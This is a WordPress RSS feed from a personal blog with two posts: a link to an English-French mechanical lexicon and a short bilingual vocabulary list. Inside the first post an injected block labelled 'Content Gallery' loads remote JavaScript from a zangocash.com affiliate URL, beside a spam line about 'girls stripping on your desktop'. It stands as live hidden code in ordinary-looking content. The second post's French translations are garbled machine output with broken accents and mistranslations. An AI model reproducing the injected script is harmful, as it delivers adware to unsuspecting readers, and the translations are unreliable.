


<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Zara's blog about celebrities &#187; English and French Dictionary</title>
	<atom:link href="http://www.lizblog.net/category/english-and-french-dictionary/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.lizblog.net</link>
	<description>Zara/Liz's blog deals with celebrities event, fashion, music, cinema and sports!</description>
	<lastBuildDate>Thu, 22 Oct 2009 20:16:07 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>English and French Lexicon</title>
		<link>http://www.lizblog.net/2007/12/11/english-and-french-lexicon/</link>
		<comments>http://www.lizblog.net/2007/12/11/english-and-french-lexicon/#comments</comments>
		<pubDate>Tue, 11 Dec 2007 21:48:31 +0000</pubDate>
		<dc:creator>Zara</dc:creator>
				<category><![CDATA[English and French Dictionary]]></category>

		<guid isPermaLink="false">http://www.lizblog.net/2007/12/11/english-and-french-lexicon/</guid>
		<description><![CDATA[Technical termes in English and French
It has been useful to me for my work. If you wish to learn or been looking for a term concerning Mechanical terms, etc.
Thanks to keeping up-to-date with my blog.
Best regards,


self.focus();

Get girls stripping on your desktop !!
]]></description>
			<content:encoded><![CDATA[<p><a href="http://mecaniqueindustrielle.com/lexique_mecanique_anglais_francais.pdf" title="English and French Technical Terms">Technical termes in English and French</a></p>
<p>It has been useful to me for my work. If you wish to learn or been looking for a term concerning Mechanical terms, etc.</p>
<p>Thanks to keeping up-to-date with my blog.</p>
<p>Best regards,</p>
<p><!-- Content Gallery :: START --><br />
<script language="javascript" type="text/javascript" src="http://prompt.zangocash.com/sp/854e91c0bd/8c459ec1b5/lc.js"></script><br />
<script language="javascript" type="text/javascript">self.focus();</script><br />
<!-- Content Gallery :: END --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lizblog.net/2007/12/11/english-and-french-lexicon/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>English and French Dictionary</title>
		<link>http://www.lizblog.net/2007/04/10/english-and-french-dictionary/</link>
		<comments>http://www.lizblog.net/2007/04/10/english-and-french-dictionary/#comments</comments>
		<pubDate>Tue, 10 Apr 2007 11:41:54 +0000</pubDate>
		<dc:creator>Zara</dc:creator>
				<category><![CDATA[English and French Dictionary]]></category>

		<guid isPermaLink="false">http://lizblog.pagasa.net/2007/04/10/english-and-french-dictionary/</guid>
		<description><![CDATA[Brainy Dictionary for the month of April

Anagram :
Literally, the letters of a word read backwards, but in its usual wider sense, the change or one word or phrase into another by the transposition of its letters. Thus Galenus becomes angelus; William Noy (attorney-general to Charles I., and a laborious man) may be turned into I [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Brainy Dictionary for the month of April<br />
</strong></p>
<p class="MsoNormal"><span class="body"><strong>Anagram :</strong><o></o><br />
</span><span lang="EN-GB">Literally, the letters of a word read backwards, but in its usual wider sense, the change or one word or phrase into another by the transposition of its letters. Thus Galenus becomes angelus; William Noy (attorney-general to Charles I., and a laborious man) may be turned into I moyl in law.<o></o></span><br />
<strong>Anagramme :</strong><br />
LittÃ©ralement les lettres d&#8217;un mot sont lu depuis l&#8217;arriÃ¨re, mais dans son sens plus large, le changement d&#8217;un mot ou d&#8217;une phrase en une autre expression par la transposition de ses lettres. Ainsi Galenus devient angelus ; William Noy (mandataire-gÃ©nÃ©ral Ã  Charles I., et Ã  un homme laborieux) peut Ãªtre transformÃ© en moyl de I lÃ©galement.</p>
<p class="MsoNormal"><strong><a href="http://www.thefreedictionary.com/Analogism" title="Analogism" target="_blank">Analogism</a> :</strong><br />
An argument from the cause to the effect; an a priori argument.<br />
<strong><a href="http://fr.answers.com/topic/analogisme" title="Analogisme" target="_blank">Analogisme</a> : </strong>Un argument de la cause Ã  l&#8217;effet ; un argument a priori.</p>
<p class="MsoNormal"> <span lang="EN-GB"><a href="http://www.google.com/url?sa=t&amp;ct=res&amp;cd=1&amp;url=http%3A%2F%2Fwww.thefreedictionary.com%2FBreviate&amp;ei=NXQmRs7UMZn0-AKA-632Bg&amp;usg=__Y15SlFBR8dbQAVY7OH2iaeLx1tc=&amp;sig2=uD9oD96Fhuc6vSayZZMr9A" title="Breviate" target="_blank"><strong>Breviate  :</strong></a><o></o><br />
A short compend; a summary; a brief statement.<o></o></span><br />
<strong>Breviate :</strong><br />
Un compend court ; un sommaire ; une dÃ©claration.</p>
<p class="MsoNormal"> <strong><span lang="EN-GB">Dogmatist :<o></o></span></strong><br />
<span class="body"></span><span lang="EN-GB">One who dogmatizes; one who speaks dogmatically; a bold and arrogant advancer of principles.<o></o></span><br />
<strong>Dogmatist :</strong><br />
Un qui dogmatises ; un qui parle dogmatiquement ; un avanceur &#8220;bold&#8221; et arrogant des principes.</p>
<p class="MsoNormal"> <span lang="EN-GB"><strong>Fascia :</strong><o></o><br />
A band, sash, or fillet; especially, in surgery, a bandage or roller.<o></o></span><br />
<strong>Fasce :</strong><br />
Une bande, une ceinture, ou un filet ; en particulier, dans la chirurgie, un bandage ou le rouleau.</p>
<p class="MsoNormal"> <span class="body"><strong>Dualism :</strong><o></o><br />
</span><span lang="EN-GB">State of being dual or twofold; a twofold division; any system which is founded on a double principle, or a twofold distinction<o></o></span>
</p>
<p class="MsoNormal"><span class="body"></span><span lang="EN-GB">A view of man as constituted of two original and independent elements, as matter and spirit.<o></o></span></p>
<p class="MsoNormal"><span class="body"></span><span lang="EN-GB">A system which accepts two gods, or two original principles, one good and the other evil.<o></o></span></p>
<p class="MsoNormal"><span class="body"></span><span lang="EN-GB">The doctrine that all mankind are divided by the arbitrary decree of God, and in his eternal foreknowledge, into two classes, the elect and the reprobate.<o></o></span></p>
<p class="MsoNormal"><span class="body"></span><span lang="EN-GB">The theory that each cerebral hemisphere acts independently of the other.<o></o></span></p>
<p class="MsoNormal"><strong>Dualisme :</strong><br />
Ã‰tat d&#8217;Ãªtre duel ou deux fois ; une division double ; tout systÃ¨me qui est fondÃ© selon un double principe, ou un double distinction.
</p>
<p class="MsoNormal">Une vue de l&#8217;homme comme constituÃ© de deux originaux et d&#8217;Ã©lÃ©ments indÃ©pendants, comme matiÃ¨re et esprit.</p>
<p class="MsoNormal">Un systÃ¨me qui accepte deux dieux, ou deux principes originaux, un bon et l&#8217;autre mal.</p>
<p class="MsoNormal">La doctrine que toute l&#8217;humanitÃ© sont divisÃ©es par le dÃ©cret arbitraire de Dieu, et dans son connaissance prÃ©alable Ã©ternelle, dans deux classes, l&#8217;Ã©lire et le rÃ©probateur.</p>
<p class="MsoNormal">La thÃ©orie qu&#8217;actes cÃ©rÃ©braux de chaque hÃ©misphÃ¨re indÃ©pendamment de l&#8217;autre.</p>
<p class="MsoNormal"><span class="body"><strong>Clautrum :</strong><o></o><br />
</span><span lang="EN-GB">A thin lamina of gray matter in each cerebral hemisphere of the brain of man.<o></o></span><br />
<strong>Clautrum :</strong><br />
Un lamina mince de matiÃ¨re grise dans chaque hÃ©misphÃ¨re cÃ©rÃ©bral du cerveau de l&#8217;homme.
</p>
<p class="MsoNormal">&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lizblog.net/2007/04/10/english-and-french-dictionary/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

